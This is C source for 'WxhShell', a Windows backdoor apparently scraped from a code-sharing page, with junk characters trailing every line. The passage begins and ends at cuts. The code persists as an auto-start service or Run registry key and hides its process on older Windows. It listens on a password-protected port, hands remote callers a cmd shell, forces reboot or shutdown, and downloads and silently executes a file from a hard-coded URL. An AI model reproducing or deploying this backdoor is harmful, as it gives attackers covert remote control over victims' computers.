  // 关机 3J2j5N:g  
  case 'd': { j0p'_|)(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'nOc_b0  
    if(Boot(SHUTDOWN)) .kl _F7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]*8K4n G  
    else { f_*Bd.@  
    closesocket(wsh); nV|H5i;N7  
    ExitThread(0); _]~gp.  
    } NArql  
    break; %"2 ;i@  
    } IpX>G]"-C  
  // 获取shell ^6*2a(S&  
  case 's': { VpDNp (2  
    CmdShell(wsh); JsfX&dX0  
    closesocket(wsh); O<&8 gk~  
    ExitThread(0); ZgN )sVJ  
    break; *CHLs^)   
  } 8y-Sd\0g  
  // 退出 yw|O,V<4N  
  case 'x': { 3x=f}SO&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v-;j44sB  
    CloseIt(wsh); 9V]\,mD=  
    break; y#'|=0vTvP  
    } V^a] @GK:  
  // 离开 J2 "n:  
  case 'q': { TG\3T%gH/s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0] 'Bd`e  
    closesocket(wsh); a9CY,+ z5B  
    WSACleanup(); XwKB+Yj0  
    exit(1); r sf +dC  
    break; <1H bjR w  
        } nu1s  
  } B 4pJg  
  } R^`#xQ  
9sQ4 $  
  // 提示信息 kKU,|> 3h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \ /3Xb  
} O@@=ZyYwc  
  } GXV<fc"1  
G@Z,Hbgm  
  return; N`FgjnQ`  
} prf  
R<}n?f\#JZ  
// shell模块句柄 01n5]^.p  
int CmdShell(SOCKET sock) +Ar=89  
{ a#iJXI  
STARTUPINFO si; 'eNcQJh  
ZeroMemory(&si,sizeof(si)); i ez@j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -^m]Tb<u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 29(s^#e8A  
PROCESS_INFORMATION ProcessInfo; c$.h]&~dN  
char cmdline[]="cmd"; sb"etc`w%-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'lPt.*Y<u  
  return 0; vf=b5s(7Q  
} <IWO:7*#  
I:4m]q b  
// 自身启动模式 -!OFt}  
int StartFromService(void) teO%w9ByY  
{ P8l x\DA  
typedef struct `uz15])1<  
{ |!VSed#FSn  
  DWORD ExitStatus; `GsFvxz  
  DWORD PebBaseAddress; n>d@}hyv  
  DWORD AffinityMask; 39jnoT  
  DWORD BasePriority; 3snr-)   
  ULONG UniqueProcessId; %?gh;? GD  
  ULONG InheritedFromUniqueProcessId; 26yjQ  
}   PROCESS_BASIC_INFORMATION; x>5"7MR`  
!,f{I5/  
PROCNTQSIP NtQueryInformationProcess; P&Vqr  
b5kw*h+/'h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C?v_ig  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xE$(I<:  
cO9aT  
  HANDLE             hProcess; O?<R.W<QI  
  PROCESS_BASIC_INFORMATION pbi; oxN~(H)/ #  
_^+z2m+ ~N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %SW"{GnO ^  
  if(NULL == hInst ) return 0; pIKQx5;  
p<5ED\;N;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W,<P])  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q;]g9T[)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  xZJ r*  
8]!%mrS  
  if (!NtQueryInformationProcess) return 0; W`}C0[%VW  
@D<q=:k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 02U5N(s  
  if(!hProcess) return 0; *=OU~68)C  
iNn]~L1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |a7W@LVYD  
?}y{tav=  
  CloseHandle(hProcess); a1lF8;[  
[ D[&aA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3l?D%E]P  
if(hProcess==NULL) return 0; }!tJ3G  
CRK%%;=>  
HMODULE hMod; =|lw~CW  
char procName[255]; |P{K\;-  
unsigned long cbNeeded; so~vnSQ!x  
4CR.=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 86[/NTD<-  
,2H@xji [  
  CloseHandle(hProcess); mez )G|  
[ugBVnma  
if(strstr(procName,"services")) return 1; // 以服务启动 wYxnKm~f  
Ood8Qty(  
  return 0; // 注册表启动 K)m\xzT/  
} ?W  l=F/  
>"^H"K/T  
// 主模块 %kM|Hk3d  
int StartWxhshell(LPSTR lpCmdLine) [i7Ug.Oi"  
{ k5]M~"  
  SOCKET wsl; +b<q4W  
BOOL val=TRUE; kHj|:,'sV  
  int port=0; =yn|.%b  
  struct sockaddr_in door; o.qeF4\d6  
u`Ew^-">  
  if(wscfg.ws_autoins) Install();  2=X\G~a  
?NV3]vl  
port=atoi(lpCmdLine); $S~e"ca1  
y:TLGQ0  
if(port<=0) port=wscfg.ws_port; JTH8vk:@  
y#[PQ T  
  WSADATA data; %G~ f>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cN/8 b0C  
=c{ / Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Im9^mVe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); < * )u\A  
  door.sin_family = AF_INET; V~rF`1+5N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 01md@4NQ  
  door.sin_port = htons(port); ?n$;l-m[  
39s%CcI`k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (A.%q1h  
closesocket(wsl); <"|BuK  
return 1; ~HbZRDcJc  
} 6qsT/  
JJL#Y  
  if(listen(wsl,2) == INVALID_SOCKET) { h=uv4&  
closesocket(wsl); OidF{I*O  
return 1; G813NoS o  
} l1X& Nw1W  
  Wxhshell(wsl); uj@rv&  
  WSACleanup(); ,z6&k   
MV"aO@  
return 0; lNtZd?=>  
n:c)R8X]  
} a8K"Z-LlQ  
O=wA/T=w?  
// 以NT服务方式启动 vM5u]u!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 16q"A$  
{ ]=5nC)|  
DWORD   status = 0; Do3;-yp>`  
  DWORD   specificError = 0xfffffff; -\mbrbG9H  
wIi_d6?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2=pVX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,(0q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cC'{+j8-a  
  serviceStatus.dwWin32ExitCode     = 0; h(aF>a\Z  
  serviceStatus.dwServiceSpecificExitCode = 0; KNtsz[#b  
  serviceStatus.dwCheckPoint       = 0; `@MY}/ o.  
  serviceStatus.dwWaitHint       = 0; \M4/?<g  
ht8%A 1|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8 Zy`Z  
  if (hServiceStatusHandle==0) return; b<UZD yN~  
K * Tj;  
status = GetLastError(); `>^2MHF3LT  
  if (status!=NO_ERROR) X9^a:7(  
{ W(N@`^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O9>& E;`5  
    serviceStatus.dwCheckPoint       = 0; (;^VdiJ  
    serviceStatus.dwWaitHint       = 0; )M5:aSRz  
    serviceStatus.dwWin32ExitCode     = status; q5il9*)d (  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~2Jvb[IM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q.L0rY!  
    return; ]HoQ6R\E b  
  } Z_&6 <1,H  
/p| ]*={  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0m?v@K' l  
  serviceStatus.dwCheckPoint       = 0; SOo/~ giz|  
  serviceStatus.dwWaitHint       = 0; C!N&uNp@s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f]F]wg\_f  
} eup#.#J  
]kC/b^~+m  
// 处理NT服务事件,比如:启动、停止 ^J0*]k%   
VOID WINAPI NTServiceHandler(DWORD fdwControl) PfTjC"`,  
{ ;5 W|#{I  
switch(fdwControl) a%Ky;ys  
{ &f1dCL%z7  
case SERVICE_CONTROL_STOP: E7E>w#T5  
  serviceStatus.dwWin32ExitCode = 0; g0w<vD`<g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $0rSb0[  
  serviceStatus.dwCheckPoint   = 0; W2Y%PD9a  
  serviceStatus.dwWaitHint     = 0; XjpFJ#T*$A  
  { Q>s>@hw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oWGtKtDhH  
  } 6yZfV7I  
  return; "i$Av m  
case SERVICE_CONTROL_PAUSE: %h;~@-$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9H5S@w[je  
  break; Qn> 0s  
case SERVICE_CONTROL_CONTINUE: (I~-mzu\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {4"!~W  
  break; nU$;W  
case SERVICE_CONTROL_INTERROGATE: :4|W;Lkd!  
  break; gD0O7KO  
}; d)m +Hc.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2T!pFcc  
} ; 2K_u  
09y%FzV  
// 标准应用程序主函数 Y>z~0$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y4,~s64e  
{ VZNMom,Wr  
F0 WM&{v  
// 获取操作系统版本 |]`\ak  
OsIsNt=GetOsVer(); oGpyuB@A/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wJA`e)>  
DZGM4|@<7Y  
  // 从命令行安装 -E1b5i;f  
  if(strpbrk(lpCmdLine,"iI")) Install(); O)|{B>2r  
mXnl-_  
  // 下载执行文件 +rS}f N$L.  
if(wscfg.ws_downexe) { lb3:#?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L{xCsJ3d  
  WinExec(wscfg.ws_filenam,SW_HIDE); }9[E+8L1  
} \ 4y7!   
GD?4/HkF  
if(!OsIsNt) { 9(k5Irv"'h  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]8*#%^  
HideProc(); XiE  
StartWxhshell(lpCmdLine); d0YN :lJc  
} w[Ee#Yaj.-  
else zrYhx!@  
  if(StartFromService()) bY:A7.p7#  
  // 以服务方式启动 omQa N#!,  
  StartServiceCtrlDispatcher(DispatchTable); C5;=!B  
else \O 9j+L"  
  // 普通方式启动 ikf6Y$nWfF  
  StartWxhshell(lpCmdLine); R%iyNK,  
l@ vaupg  
return 0; x_lCagRGC4  
} 4R-Y9:^t  
]Ga}+^  
SBo>\<@  
-d? 9Acd  
=========================================== 3uO#/EbS  
v5U\E`)s  
5tI4m#y2  
B:dk>$>uQ  
! 9B| `  
D. !m*oq  
" 9dl\`zlA*  
iD=VNf  
#include <stdio.h> v[VUX69  
#include <string.h> 7)sEW#d!  
#include <windows.h> G v(bD6Rz  
#include <winsock2.h> Gqvnc8V&  
#include <winsvc.h> |FS,Av  
#include <urlmon.h> wb^Yg9  
!\wdX7%  
#pragma comment (lib, "Ws2_32.lib") Oz{.>Pjn^o  
#pragma comment (lib, "urlmon.lib") (6i)m c(  
1SoKnfz{6  
#define MAX_USER   100 // 最大客户端连接数 J+IQvOn_|  
#define BUF_SOCK   200 // sock buffer 46c7f*1l  
#define KEY_BUFF   255 // 输入 buffer ,@"Z!?e  
=qH9<,p`H  
#define REBOOT     0   // 重启 ^LgaMmz  
#define SHUTDOWN   1   // 关机 X6s6fu;  
a-\\A[E  
#define DEF_PORT   5000 // 监听端口 ^mr#t #[e  
F;p>bw  
#define REG_LEN     16   // 注册表键长度 DIO @Zo  
#define SVC_LEN     80   // NT服务名长度 Q*|O9vu'D  
SiJ0r @  
// 从dll定义API =/wAk0c^y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i1RU5IRy|j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tX)l$oRPr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b6%T[B B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iR j/Tm*T'  
a86m?)-c  
// wxhshell配置信息 FtbqZN[  
struct WSCFG { \,jrug<C$^  
  int ws_port;         // 监听端口 Qzy[  
  char ws_passstr[REG_LEN]; // 口令 V {R<R2h1  
  int ws_autoins;       // 安装标记, 1=yes 0=no g _fvbVX  
  char ws_regname[REG_LEN]; // 注册表键名 xo#&&/6  
  char ws_svcname[REG_LEN]; // 服务名 D6&fDhO27  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .ruGS.nS4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /5M@>A^?'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9An_zrJ%i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fRKO> /OT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p] kpDx[9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x  8lgDO  
1;E[Ml  
}; MK"PCE5^i6  
zh7#[#>t  
// default Wxhshell configuration f&=y\uP]  
struct WSCFG wscfg={DEF_PORT, OMG.64DX .  
    "xuhuanlingzhe", p-n_ ">7  
    1, .-[uQtyWW  
    "Wxhshell", n\k6UD  
    "Wxhshell", AD$k`Cj  
            "WxhShell Service", R:S Fj!W1  
    "Wrsky Windows CmdShell Service", 5fi6>>  
    "Please Input Your Password: ", K|$Dnma^n  
  1, ^)=c74;;  
  "http://www.wrsky.com/wxhshell.exe", ]UyIp`nV;  
  "Wxhshell.exe" Qo+_:N  
    }; pjr,X+6o  
yP2[!vYw  
// 消息定义模块 %m[ :},  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J0xOB;rd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SrzlR)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }Y\Ayl  
char *msg_ws_ext="\n\rExit."; a x1  
char *msg_ws_end="\n\rQuit."; )2T?Z)"hO  
char *msg_ws_boot="\n\rReboot..."; V~ -<VM6  
char *msg_ws_poff="\n\rShutdown..."; 6b+\2-eq  
char *msg_ws_down="\n\rSave to "; s>`$]6wPa  
l<  8RG@  
char *msg_ws_err="\n\rErr!"; lV!ecJw$  
char *msg_ws_ok="\n\rOK!"; WHxq-&=  
/zZ$<mVG  
char ExeFile[MAX_PATH]; kOR5'rh  
int nUser = 0; Y; =y-D  
HANDLE handles[MAX_USER]; h-`Jd>u"  
int OsIsNt; w6>'n }  
NikY0=i  
SERVICE_STATUS       serviceStatus; !f\,xa|M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %Y8#I3jVJ  
q,-bw2   
// 函数声明 xEtzqP<]  
int Install(void); @2Xw17[f35  
int Uninstall(void); Wj2]1A  
int DownloadFile(char *sURL, SOCKET wsh); Z\8TpwD2  
int Boot(int flag); -E~pCN(E  
void HideProc(void); ~6!{\un   
int GetOsVer(void); B:qH7`s  
int Wxhshell(SOCKET wsl); HrQBzS  
void TalkWithClient(void *cs); \YO1;\W  
int CmdShell(SOCKET sock); j48cI3C  
int StartFromService(void); hEAt4z0P  
int StartWxhshell(LPSTR lpCmdLine); [su2kOX|X  
kSGFLP1FN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4eapR|#T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [f["9(:  
N'_,VB  
// 数据结构和表定义 lot7SXvK  
SERVICE_TABLE_ENTRY DispatchTable[] = ZY-UQ4_|u  
{ X8l[B{|  
{wscfg.ws_svcname, NTServiceMain}, {IEc{y7?gO  
{NULL, NULL} NN1d?cOn  
}; e$>.x< Eq  
%lPAq  
// 自我安装 tcOgF:  
int Install(void) vgRjd1k.\y  
{ bTB/M=M  
  char svExeFile[MAX_PATH]; [eL?O;@BD  
  HKEY key; 0eq="|n^|  
  strcpy(svExeFile,ExeFile); O~yPe.  
+=#sa m*i  
// 如果是win9x系统,修改注册表设为自启动 W6f?/{Oo8  
if(!OsIsNt) { [*zB vj}G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HFYN(nz}[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qPsf`nI7  
  RegCloseKey(key); u '-4hU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TR3_!0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hX4&B  
  RegCloseKey(key); 5D0O.v  
  return 0; `Q?rQ3A}  
    } S'T&`"Mr  
  } Cv{>|g#  
} `.Z MwA  
else { B6&PYMFK?*  
^qXc%hjg  
// 如果是NT以上系统,安装为系统服务 '5zolp%St  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IB#L5yN r  
if (schSCManager!=0) fR<_4L  
{ >?K@zsv}  
  SC_HANDLE schService = CreateService F VBuCi?W  
  ( " O1\]"j  
  schSCManager, 27q 9zi!Q  
  wscfg.ws_svcname, R,[ dEP  
  wscfg.ws_svcdisp, lN$#lyy  
  SERVICE_ALL_ACCESS, Dd8*1,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (xw)pR  
  SERVICE_AUTO_START, e"HA.t[A  
  SERVICE_ERROR_NORMAL, @,0W(  
  svExeFile, Pe[~kog,TP  
  NULL, Yt79W  
  NULL, F9(*MP|  
  NULL, ^(7<L<H  
  NULL, !4zSE,1  
  NULL Dz$GPA   
  ); U{(B)dFTH  
  if (schService!=0) $%9.qy\8  
  { EJ7}h?a]U_  
  CloseServiceHandle(schService); C5mq@$6  
  CloseServiceHandle(schSCManager); SQ7Ws u>T@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7i?"akr4  
  strcat(svExeFile,wscfg.ws_svcname); ximW!y7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b4%sOn,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); csP 5R3  
  RegCloseKey(key); ?m5@ 63 5  
  return 0; 2(V;OWY(@  
    } e1a8>>bcI  
  } SYkLia(Ty  
  CloseServiceHandle(schSCManager); v|Y:'5`V  
} guJS;VC6U  
} "w}}q>P+sA  
Y?Ph%i2E  
return 1; ?HT+| !4p  
} \x D.rBbt  
\IB@*_G  
// 自我卸载  ,r\  
int Uninstall(void) O ;,BzA-n  
{ :%ms6j/B&V  
  HKEY key; Sx{vZS3  
1fwjW0t  
if(!OsIsNt) { ]6)^+(zU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "w3#2q&  
  RegDeleteValue(key,wscfg.ws_regname); 6qfL-( G  
  RegCloseKey(key); 3e&H)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NzB"u+jB  
  RegDeleteValue(key,wscfg.ws_regname); JL0>-kg  
  RegCloseKey(key); ( <~  
  return 0; *`.h8gTD,  
  } fLM5L_S}Y  
} :u$nH9kwv  
} )EQWc0iKG  
else { S8-3Nv'  
<1i:Z*l.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r(=  
if (schSCManager!=0) nn'a` N  
{ !,8jB(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }pk)\^/w/  
  if (schService!=0) z|,YO6(L  
  { LLp/ SWe  
  if(DeleteService(schService)!=0) { 2JY]$$K7  
  CloseServiceHandle(schService); ]o}g~Xn  
  CloseServiceHandle(schSCManager); :E ]Ys  
  return 0; hKa<9>MI`  
  } kY d'6+m  
  CloseServiceHandle(schService); ^5j+O.zgN  
  } zJC!MeN  
  CloseServiceHandle(schSCManager); F91uuSSL  
} f|U;4{ k  
} MR$R#  
d.wu   
return 1; )S41N^j.  
} 7K"{}:  
)F_0('=t  
// 从指定url下载文件 H?-Byi  
int DownloadFile(char *sURL, SOCKET wsh) 8:*   
{ (9gL  
  HRESULT hr; P`ZzrN  
char seps[]= "/"; x"/DCcZ  
char *token; k:1p:&*m  
char *file; aMa ICM  
char myURL[MAX_PATH]; \<k5c-8Hb  
char myFILE[MAX_PATH]; gumT"x .^  
QH~;B[->  
strcpy(myURL,sURL);  AT@m_d  
  token=strtok(myURL,seps); 7X+SK&PX  
  while(token!=NULL) SZVNu*G!H  
  { K&T[F!  
    file=token; wm1`<r^M.  
  token=strtok(NULL,seps); *`D}voU  
  } IXjFK  
Bi}uL)~rD  
GetCurrentDirectory(MAX_PATH,myFILE); M8_f{|!&  
strcat(myFILE, "\\"); ^qB a~  
strcat(myFILE, file); 9]u=b\fzZ  
  send(wsh,myFILE,strlen(myFILE),0); %x}iEqkU  
send(wsh,"...",3,0); Kkfza  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *u J0ZO9  
  if(hr==S_OK) o[$~  
return 0; e@6]rl  
else q<Tx'Ya  
return 1; #bI ,;]T  
6z-ZJ|?  
} NUSb7<s,&Y  
hA'i|;|ZYc  
// 系统电源模块 ^/'zU,  
int Boot(int flag) 1 8*M  
{ .D X  
  HANDLE hToken; m5c=h  
  TOKEN_PRIVILEGES tkp; OKW}8qM  
z@za9U`6i  
  if(OsIsNt) { n 0/<m.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,\fp .K<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zx #HyO[a  
    tkp.PrivilegeCount = 1; mVaWbR@HS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %:/@1r7o>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H$D),s gv  
if(flag==REBOOT) { I 68Y4s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hQWo ]WF(J  
  return 0; Z;v5L/;  
} 'dXGd.V7u  
else { K_SURTys  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -hd@<+;E  
  return 0; G4&vrM,f  
} e\8|6< o[  
  } \&!qw[;O  
  else { k-V3l  
if(flag==REBOOT) { &\Ze<u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]Rk4"i  
  return 0; -eE r|Gs)  
} .}n-N #  
else { 19h@fA[:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7\0}te  
  return 0;  a,ff8Qm  
} Lg%3M8-W~  
} nrEG4X9  
9Sey&x  
return 1; gZf8/Tp\z  
} s(.H"_ a  
@PL.7FM<v  
// win9x进程隐藏模块 M)qb6aD0  
void HideProc(void) W(#u^,$e[  
{ c1Rn1M,2k  
f (Su  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e 48N[p  
  if ( hKernel != NULL ) R:+cumHr  
  { Be$v%4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;_~9".'<d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >0X_UDAWz  
    FreeLibrary(hKernel); [r#m +R"N  
  } `=Z3X(Kc  
;% <[*T:*'  
return; K[q{)>,9  
} |tr^ `Z  
;:PxWm|_  
// 获取操作系统版本 zG* >g  
int GetOsVer(void) N^Hj%5  
{ jk\z-hd  
  OSVERSIONINFO winfo; '.B5CQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f1$'av  
  GetVersionEx(&winfo); <9dfbI)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YB}m1 g`  
  return 1; 4{lrtNd~K  
  else w}qLI4  
  return 0; cjp~I/U  
} ,f@\Fs~n  
jct|}U  
// 客户端句柄模块 Ur9L8EdC  
int Wxhshell(SOCKET wsl) w/f?KN  
{ ,,c+R?D  
  SOCKET wsh; H~NK:qRzK  
  struct sockaddr_in client; 0-Ga2Go9  
  DWORD myID; =91wC  
d-cW47  
  while(nUser<MAX_USER) e>T;'7HSS"  
{ ^wIg|Gc  
  int nSize=sizeof(client); i5 0c N<o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *S<d`mp[  
  if(wsh==INVALID_SOCKET) return 1; ZLZh$eZZ  
LgxsO:mi  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *x-@}WY$U  
if(handles[nUser]==0) e>2KW5.  
  closesocket(wsh); (O$il  
else eH ]9"^> o  
  nUser++; B,fVNpqo  
  } 5Q/jI$^h0Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GIv l|  
KvH t`  
  return 0; 5X73@Aj  
} _iF*BnmN  
.% 79(r^  
// 关闭 socket TE9Iyl|=  
void CloseIt(SOCKET wsh) b_vKP  
{ xj[v$HP  
closesocket(wsh); Y SB~04  
nUser--; ?,`g h}>  
ExitThread(0); /!'Png0!  
} w m|WER*.  
YTD&swk  
// 客户端请求句柄 TD sjNFe3  
void TalkWithClient(void *cs) [XhG7Ly  
{ 60G(jO14  
cTBUj  
  SOCKET wsh=(SOCKET)cs; `t"7[Zk  
  char pwd[SVC_LEN]; f>iDq C4  
  char cmd[KEY_BUFF]; cE^Ljk  
char chr[1]; L0)w~F ?m  
int i,j; %Jji<M]  
nR=!S5>S  
  while (nUser < MAX_USER) { USg,=YM  
&. MUSqo9  
if(wscfg.ws_passstr) { \1O wZ@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GOsOFs"I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #p<(2wN  
  //ZeroMemory(pwd,KEY_BUFF); _fdD4-2U  
      i=0; jmG)p|6  
  while(i<SVC_LEN) { }` YtXD-o  
 (l-l Y  
  // 设置超时 ZPG~@lU  
  fd_set FdRead; kni{1Gr  
  struct timeval TimeOut; ?3%r:g4  
  FD_ZERO(&FdRead); y>X(GF^  
  FD_SET(wsh,&FdRead); Px3I+VP  
  TimeOut.tv_sec=8; PLJDRp 2o  
  TimeOut.tv_usec=0; \S_A e;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =q(?ALGc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eH V#Mey[  
PpLiH9}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =$y;0]7Lwi  
  pwd=chr[0]; H)h$@14xu  
  if(chr[0]==0xd || chr[0]==0xa) { I7\T :Q[  
  pwd=0; 1k]L,CX  
  break; ~d3|zlh  
  } cw,|,uXq 6  
  i++; vq+4so )/S  
    } 2Ab`i!#  
z(u,$vZ _  
  // 如果是非法用户,关闭 socket o:B?hr'\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &]tm 'N25  
} 3+\Zom4  
r PTfwhs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $Xh5N3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0 ;].q*|#  
<MKX F V  
while(1) { H.;2o(vD  
9^&B.6!6  
  ZeroMemory(cmd,KEY_BUFF); azzG  
wRZFBf~ :  
      // 自动支持客户端 telnet标准   3 Q~0b+k  
  j=0; lcM  
  while(j<KEY_BUFF) { d)3jkHYEjj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eE_$ADEf  
  cmd[j]=chr[0]; ,vo]WIQ\:  
  if(chr[0]==0xa || chr[0]==0xd) { },{sJ0To  
  cmd[j]=0; 1\%@oD_zG  
  break; lvRTy|%[  
  } j]U~ZAn,K  
  j++; wv`ar>qVL  
    } GO.7IL{ {  
KG4zjQf  
  // 下载文件 vw$b]MO!  
  if(strstr(cmd,"http://")) { nly}ly Q/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .mNw^>:cq  
  if(DownloadFile(cmd,wsh)) oVr:ZwkG3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;<*USS6X  
  else III:j hh  
